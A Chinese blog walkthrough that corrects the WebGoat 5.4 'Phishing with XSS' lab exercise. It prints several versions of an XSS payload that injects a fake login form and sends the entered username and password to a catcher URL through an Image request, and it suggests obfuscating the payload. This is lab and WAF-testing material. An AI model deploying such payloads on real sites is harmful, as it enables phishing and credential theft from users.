正在阅读:

WebGoat Phishing with XSS 手册错误解决办法

8,355

最近公司WAF参与一项目的评测,其中有一项是关于XSS钓鱼攻击的测试,测试平台为WebGoat5.4,发现评测方的Phishing with XSS代码有问题,于是我就自己研究了一下,结果发现Webgoat中文手册中关于Phishing with XSS的解决方法居然也是错的,经过我N长时间的研究,终于解决了,分享给大家,希望大家以后在测试中少走弯路。

测试环境:

测试平台:Windows server 2003 + WebGoat5.4

客户端:Win7_X64 + firefox21.0

Webgoat中文手册V2.2下载

发现错误:

根据WebGoatV2.2中文手册中的指导说明,测试代码如下:

<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";} </script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

根据上述代码进行测试发现除了能生成一个表单以外,输入用户名和密码点击login压根不会获取到用户输入的用户名和密码,也就是说我们的XSS钓鱼攻击没有生效,这是为什么呢?官方文档也会出错? 你没有看错,确实这是官方的一个bug,owasp中国在文档翻译审校过程中可能也忽悠了这一点,下面我列出上述测试代码中的问题:

错误1:document.forms[0].user.value

利用forms集合获取form中的元素时,form标签个数指定错误,应该改为

document.forms[1].user.value或者document.form.user.value其它的同样改掉即可。

错误2:XSSImage=new Image;

这里在创建Image对象的时候,少了一个(),正确的应该是XSSImage=new Image();

错误3:type="submit" name="login"

最后的提交表单中的表单类型submit应该改为button,使用submit提交不能完成测试。

修正后的测试代码如下:

<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[1].user.value + "Password = " + document.forms[1].pass.value); XSSImage=new Image(); XSSImage.src="http://172.16.15.56:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" + document.forms[1].pass.value + "";} </script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="button" name="login" value="login" onclick="hack()"></form><br><br><HR>

Phishing with XSS

利用上述代码已经可以完成Phishing with XSS测试了,但是还是感觉不太好,就是在获取form表单的时候,还要数表单的个数,我们直接利用表单的name属性获取不是更快? 最终我改好的代码如下,和官方版的只有一点点不同,大家找找看。

<script>
    function hack() {
        alert("I had Got your UserName =" + document.form.user.value + " And Password =" + document.form.pass.value);
        xssImage = new Image();
        xssImage.src = "http://172.16.15.56:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.form.user.value + "&password=" + document.form.pass.value + "";
    }
</script>
<form><br>
    <hr>
    <H3>This feature requires account login:</H3><br>
    Enter Username:<br><input type="text" id="user" name="user"><br>
    Enter Password:<br><input type="password" name="pass"><br>
    <input type="button" name="login" value="login" onclick="hack()">
</form>
<hr>

大家可以在这里进行js压缩,压缩成一行。

JS混淆加密压缩

参考文章:

http://blog.chinaunix.net/uid-204498-id-3287223.html

http://code.google.com/p/webgoat/issues/detail?id=35&can=1&q=phish

http://www.monmonkey.com/javascript/liulanqi8.html

http://hi.baidu.com/siyuchoulian/item/b1c3d018c02b12727a5f25c6

http://hi.baidu.com/ichaofan/item/685ab409fae68aebfe240da4

目前有:3条访客评论,博主回复2

  1. hahha
    2016-05-05 10:36

    请问xss钓鱼攻击的测试样本从哪儿下载啊?webgoat里面只有一个样本啊

  2. kong
    2016-09-21 20:10

    你好,将submit改为button后,点击login没有任何反应呢

    • 独自等待
      2016-09-23 17:34

      可以你哪里写错了吧,复制一下代码,这个当时我测试了N多次了,已经提交给owasp中国了。他们应该改了吧。

      • kong
        2016-09-25 10:00

        @独自等待:我用的submit,但是我输入了几个用户名和密码进行测试,但是每次文件中截获的用户名和密码都是其中的一组,这是怎么回事啊?

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌